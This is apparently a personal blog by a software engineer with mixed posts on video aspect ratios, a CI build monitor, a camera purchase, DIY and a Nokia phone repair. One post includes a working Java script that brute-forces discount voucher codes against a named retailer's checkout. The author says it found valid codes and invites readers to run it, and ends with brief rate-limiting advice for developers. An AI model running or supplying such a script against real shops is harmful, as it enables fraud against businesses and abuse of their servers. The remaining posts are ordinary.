matt burns

Problem:

wmv file looks squashed when played in VLC or when uploaded to youtube but looks fine when played in windows media player

Solution:

You can change the aspect ratio of a wmv file without re-encoding it with vmarchanger

Ok, hopefully you just searched for this and you’re now sorted, but here’s some background on my problem in case it helps.

I made a small video (640×480 50fps) on my 7D and wanted to slap it on youtube. I didn’t have any video editing software so grabbed Windows Live Movie Maker. After exporting the video file I found it plays in the wrong aspect ratio in all players but WMP. The app that fixed it was written by this crypto fellow over here. Thanks Crypto!

The real cause of the problem?

I didn’t use a mac.

Your continuous integration server should stay green all the time. The odd broken test here and there means you get numb to the failed status on your build server, which in turn means it takes you longer to notice that the build has broken. When the build breaks, you should stop whatever you’re doing and make fixing it your top* priority. After you check in, the faster you fail the better because you haven’t had time to start thinking about your next task, and the thing you did to break the build is still fresh in your mind. That’s also why it’s so import to keep the builds fast**.

At work, we’ve just installed the Radiator View Plugin*** for Hudson which allows you to see the status of all your builds at a glance. We have a spare monitor displaying this screen in the middle of the office so that you can see if the build has failed while you’re stood around the water cooler chatting about your coffee cup metric.

There are two things that still bug me about this though:

1. That monitor is burning up quite a bit of ‘leccy.
2. I don’t want to waste any thought power on a green build.

The first point is obvious but the second is a little more subtle. To me, no news is good news. A green screen in the middle of the office will still get my attention, when what I really want, is to pay it no attention whatsoever. That is, unless it’s red, which is when it gets all my attention. To achieve both of these requirements****, I want the screen off when the build is fine, and on when it’s not.

Introducing… screenwaker!

screenwaker is a silly little java webstart app I knocked up that polls the build page and turns off the screen if everythings ok, but fires it back up again if anything fails. Perfect.

I’m not sure anyone else has ever faced this problem, or ever will, but there it is for you to use as you please none-the-less.

Matt

* Yes, top priority. I don’t care if you were going to the loo.

** I searched for a good article on why it’s so important to keep the build fast but couldn’t find a good one. Suggestions welcome.

*** I don’t really get the “Radiator” analogy. Surely “Dashboard” would be better?

**** Well, in an ideal world, I’d like the monitor to disappear but that is beyond the scope of this post.

Looking software companies are near you? Looking to switch jobs or perhaps your company is looking for a local consultancy to collaborate on that big contract?

I helped Dan make this map as a quick way to find those companies:

Larger version.

We’d love it if you could contribute updates. Just log in with your Google account and click the “edit” button on the left.

Canon have just released the 7D and although I can’t really afford it, I have to have one!

The price difference between UK and US is pretty crazy. Here, my favourite camera shop are selling body only for £1,399. £300 less than Canon’s SRP. In New York’s B&H store you can pick it up for $1,699 (~£1,014).

As luck would have it, I’m going to NY this weekend so if I’m going to buy one, now’s the time to decide.

I saw some people on flickr discussing whether or not it was worth it, or whether you could get it through customs and so I decided to call them myself. I rang the VAT, Customs and Excise helpline and was told that it being a digital camera, it was not liable for import duty and I would only have to pay VAT (currently @ 15%). I would just declare it on arrival in the UK by going down the red channel.

I think I can get the US sales tax (~8.25% ?) knocked off the camera when I buy it if I show them my passport and tell them I’m taking it home, but I’m not sure about that. Please comment if you know…

UPDATE: I contacted them about sales tax:

Purchases in our store (and all stores in NYC) are subject to an 8.875% local sales tax. This tax is not a VAT, and cannot be recovered by non-USA visitors when returning home. All prices are listed before sales tax.

This brings the total to $1,850 (£1106), it means I can still buy the 7D for about £1,270 when you add the VAT. A saving of £130.

However, I’m also not sure the Canon warranty covers me outside the US.

UPDATE: I contacted them about warranty too:

The warranty on this product is only good inside the USA. We offer the SageMax Protection Plan which is good for worldwide warranty and accidental damage protection…

What would you do?

Download Google Chrome 3D edition as created by CADIE.

But don’t forget to download and print your 3D glasses otherwise it’ll be all fuzzy:

You’d be a fool not to try it

I’m no expert when it comes to DIY. Enthusiastic amateur I’d say.

I fumble my way along, guessing how things should be done, and generally learn the hard way.

I needed to do some more filling today to plug the holes I’d left from my poor skirting board fitting skills.

My filling knife however was caked in gunk after a few years of not being cleaned properly. I kept it clean when I first got it, it was new and I took good care of it. Somewhere along the line though I got lazy, and did a half-assed job of cleaning that knife. The first bit of dirt that stuck proved to be a perfect home for future gunk to bind and the effort of cleaning that knife just grew exponentially.

I spent a bit of time trying to clean it but it didn’t take me long to realise that I could spend an hour trying to clean it and there’s every chance it would still be too dirty to do a good job. I just had to bite the financial bullet and buy a new one.

I’m writing this as a reminder to myself that if I can just keep my knife clean, I may never need to buy one again.

Like I said, I’m no expert at DIY.

I’m a software engineer so I don’t face these kinds of problems.

It’s 2009! Our digital lives are a breeze and online shopping is just one more option to the newly empowered consumer. Right?

I’m sure I’m not alone in finding the process of buying anything a little tedious now:

1. See something in the shop you like
2. Decide not to buy it because you don’t know if that’s a good price
3. You get home and look on the internet
4. Now you have to poke around a few websites and try to work out which is cheapest when you consider postage and tax etc.
5. Maybe one of the sites gives you rebate if you go through a referal like quidco
6. Maybe the site would give a discount if only you had a voucher code

If you ask me, It’s all a pain in the ass.

My brother emailed me yesterday:

Anyway you can crack into this site to find some good discount codes? http://www.designersunglasses.co.uk

BR20 for 20% as expired.

I recognised this. He’s at stage 6 I thought (or at least I would have done if I’d numbered the stages in my head like I have above). He’s googled for a code but only found one that’s out of date.

I started to pen my reply:

I know I work with computers but there’s no way I can find out what the codes are, they’ll all be validated server-side when you try a code…

Then it hit me. Why not just brute force the code? Worth a shot right?

I cobbled together a littler bit of java to try various combinations of 2 characters followed by 2 digits based on the fact that the expired code was BR20 for 20%. The code below uses JWebUnit which is simply a convenience wrapper for HtmlUnit.

Long story short, it found several codes! One of which was for quite a substantial discount. I’m not going to post the codes (don’t bother asking). If you want a code, you’re welcome to run the sourcecode below or write your own. If the voucher code gets posted on the internet, it’ll probably get disabled pretty quickly too.

Has anyone else written similar things? I’m curious to what other approaches people may have taken. I also think it wouldn’t be too hard to make this a generic application that rattles through all possible codes for a user-supplied regex.

My advise to web developers for anything like this would be to introduce a delay after a few invalid guesses and then start doubling the length of the delay with each invalid guess. This would quickly make any brute force technique pretty useless.

import net.sourceforge.jwebunit.junit.WebTestCase;

public class CodeFinderTest extends WebTestCase {

    public void setUp() throws Exception {
        super.setUp();
        setBaseUrl("http://www.designersunglasses.co.uk");
    }

    public void test1() {
        beginAt("/mens_sunglasses/d_g_dd3011-c96785p138605.html");
        submit();

        for (int perc = 20; perc <= 100; perc += 5) {
            for (char firstLetter = 'A'; firstLetter <= 'Z'; firstLetter++) {
                System.out.println();
                for (char secondLetter = 'A'; secondLetter <= 'Z'; secondLetter++) {

                    // generate the next code to try
                    String code = Character.toString(firstLetter)
                            + Character.toString(secondLetter) + perc;
                    System.out.print(code + ",");

                    // basket_campaign_code is the html id of the text field
                    setTextField("basket_campaign_code", code);
                    submit();

                    // if the response didn't say "invalid code" then it must have said something else...
                    if (!getPageSource().contains(
                            "You have entered an invalid code")) {
                        System.out.print("\nWAHOO!: " + code);
                        // lets get greedy and bump up the percentage discount...
                        firstLetter = secondLetter = 'Z';
                        break;
                    }
                }
            }
        }
    }
}

I’m just writting this as a holding place for funny things I overhear. Little bits of someone else’s conversation caught out of context. I hope this is just the beginning or a lifelong reel of quotes that I append to as funny things enter my ears from the mouths of unaware passers-by.

I’m starting it because I just heard:

“How did it survive being cooked in a flapjack”

I have no idea what she was talking about, and to be honest, I don’t want to know. It’s funnier left to the imagination.

volume buttons

I recently got my hands on a nokia N95. Great.

However, I soon realised that the volume up key doesn’t work, only down works. This was a little unfortunate since it is the only key capable of turning the volume up of music when played with the music player software installed on the device. Something I definitely needed to do once I had managed to turn the volume down to zero percent.

My first idea was to look for some other software I could install that would allow me to alter the volume with another key but I had no luck on that front (let me know if you have).

I then googled around and realised I was not alone and that other people had found success in taking the back off and re-soldering it, so I thought I’d have a bash.

I ended up fixing mine with no tools, just a bit of paper.

Here’s how to take the back off:

1. Turn it off.
2. Take the battery out
3. Slide phone open and bend one side off
4. Bend the rest off. I was quite rough with mine and I’ve done it a few times now and it has been fine.

You should see the two microswitches, the volume up microswitch on mine was bent upwards. Not only does this mean it doesn’t connect the circuit, but it also won’t be pressed by the outer button.

I simply jammed a bit of paper in there to make the microswitch touch the contacts again.

paper jam